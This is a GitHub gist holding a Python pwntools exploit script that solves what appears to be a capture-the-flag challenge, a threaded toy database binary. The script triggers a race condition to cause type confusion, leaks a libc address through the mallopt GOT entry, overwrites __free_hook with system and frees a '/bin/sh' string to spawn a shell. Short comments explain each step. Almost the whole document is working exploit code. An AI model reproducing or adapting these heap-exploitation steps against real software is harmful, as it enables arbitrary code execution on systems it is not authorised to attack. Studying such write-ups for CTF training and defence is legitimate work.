Skip to content

Instantly share code, notes, and snippets.

@hkraw
Last active December 19, 2020 08:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hkraw/f00e9c53a6fb18f28c979461e173c47d to your computer and use it in GitHub Desktop.
Save hkraw/f00e9c53a6fb18f28c979461e173c47d to your computer and use it in GitHub Desktop.
#!/usr/bin/python3
from pwn import *
from past.builtins import xrange
from time import sleep
import subprocess
import random
# Util
def Run(command):
io.sendline('RUN')
if type(command)==type('A'):
io.sendline(command)
io.sendline('END')
else:
for each in command:
io.sendline(each)
io.sendline('END')
return
# Hack
def Hack():
global io
exe = ELF('./chall')
Run('CREATE TABLE _name=fuck; A=STRING; B=NUMBER;')
sleep(1)
Run('CREATE ROW _table=fuck; A=HKHKHKHK; B=123;')
sleep(1)
Run(['READ ROW _table=fuck; &', # Piping the query would choose different codepath.
'SLEEP TABLE time=1000 &',
f'UPDATE ROW _table=fuck; _id=0; A={exe.got["mallopt"]}'])
Run('UPDATE TABLE _name=fuck; A=NUMBER; B=NUMBER;') # Race condition, (the databsae is stored on global variable. which can cause data race between two threads.)
#we hope for this thread to get execute first. This will set A=NUMBER. But the former thread still thinks that it's string and Not number.
# Leading to a type confusion. That would leak a pointer for us
io.sendline('WAIT') # Wait for all threads to do it's work
io.sendline('OUTPUT_ALL') # Output the results of the threads
io.recvuntil('Updated rows.')
io.recvuntil('| 0 | ',timeout=5)
libc_leak = u64(io.recvn(8))
libc_base = libc_leak - 0x9f790 #mallopt
print(hex(libc_base))
Run('CREATE TABLE _name=ayyylmao; A=STRING; B=STRING;')
sleep(1)
Run('CREATE ROW _table=ayyylmao; A=AAAAAAAA; B=123;')
sleep(1)
Run(['READ ROW _table=ayyylmao; |', 'SLEEP TABLE time=1000 |',
b'UPDATE ROW _table=ayyylmao; _id=0; B='+ p64(libc_base+0x55410) + f'; A={libc_base+0x1eeb28} |'.encode(), #__free_hook with system
'SLEEP TABLE time=1000 |',
f'/bin/sh\0 ROW _table=ayyylmao; _id=0; A="AAAAAAAA"']) # Add command with /bin/sh\0 that will do free on the command string
Run('UPDATE TABLE _name=ayyylmao; A=NUMBER;') # Get shell
# Pwn
if __name__=='__main__':
io = process('./chall')
# io = remote('challs.xmas.htsp.ro',2004)
Hack()
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment